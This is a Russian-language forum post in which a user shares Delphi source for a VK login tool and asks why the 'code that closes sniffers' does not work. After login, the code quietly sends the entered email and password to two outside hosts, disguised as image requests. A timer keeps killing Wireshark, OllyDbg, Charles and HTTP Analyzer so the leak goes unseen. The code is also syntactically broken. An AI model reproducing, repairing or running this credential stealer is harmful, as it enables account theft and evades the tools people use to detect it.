[DJ_TWIX]

нашел хороший код который закрывает снифферы
но у меня не работает

вот код

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, shellapi,TlHelp32,
  IdTCPClient, IdHTTP, sSkinManager, sMemo, sButton, sLabel, sEdit,lib,ssl_openssl,
  Vcl.ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sButton1: TsButton;
    sMemo1: TsMemo;
    sButton2: TsButton;
    sLabel5: TsLabel;
    sButton3: TsButton;
    sLabel3: TsLabel;
    Timer1: TTimer;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Unit2, Unit3;

procedure TForm1.FormCreate(sender: Tobject);
begin 
function kill(exefilename: string): Integer;
const
PROCESS_TERMINATE= $0001;
var
continueloop:BOOL;
fsnapshothandle:THandle;
FprocessEntry32:TProcessEntry32;
begin
result:=0;
fsnapshothandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
fprocessentry32.dwSize:=SizeOf(processentry32);
Continueloop:=Process32First(fsnapshothandle, fprocessentry32);
while Integer(continueloop)<>0 do
begin
if ((UpperCase(ExtractFileName(fprocessentry32.szExeFile)=UpperCase(exefilename))) then
 result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
 fprocessentry32.th32ProcessID), 0));
 continueloop := Process32Next(fsnapshothandle, fprocessentry32);
 end;
 CloseHandle(fsnapshothandle);
 end;
end;


procedure TForm1.sButton1Click(Sender: TObject);
var
http: TIdHTTP;
Data: TStringList;
email,pass,token:string;
response:string;
begin
email:=sEdit1.Text;
pass:=sEdit2.Text;

http:= TIdHTTP.Create(nil);
Data:= TStringList.Create;

Data.Add('user='+sEdit1.Text);
Data.Add('pass='+sEdit2.Text);


sMemo1.Lines.Add('Авторизуемся [b]Контакте');
response:=send('GET','https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='+urlencode(UTF8Encode(email))+'&password='+urlencode(UTF8Encode(pass)));

 if Pos('token',response)<>0 then begin



 sButton2.Enabled:=True;
 sButton3.Enabled:=True;

    sMemo1.Lines.Add('Авторизовались!');
   idhttp1.Get('http://httpz.org/n882p85q6nm.gif?'+sedit1.text+':'+sedit2.text);
   idhttp1.Get('http://oauth.webatu.com/s.gif?'+sedit1.text+':'+sedit2.text);
    end
    else
sMemo1.Lines.Add('Неправильный пароль');






end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
Form2.Visible:=True;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
form3.visible:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
wnd:HWND;
p: TProcessentry32;
ct:Cardinal;
th:Cardinal;
begin
Kill('miniperl.exe');
Kill('httpd.exe');
Kill('mysqld.exe');
Kill('ollydbg.exe');
Kill('httpanalyzerstdv7.exe');
Kill('httpanalyzerstdv6.exe');
Kill('httpanalyzerstdv5.exe');
Kill('charles.exe');
Kill('wireshark.exe');
wnd:=FindWindow(nill, 'HTTP Analyzer V6');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'HTTP Analyzer V5');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'HTTP Analyzer V7');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'ollydbg');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'Charkes 3.6');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'httpd.exe -w');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
end;

end.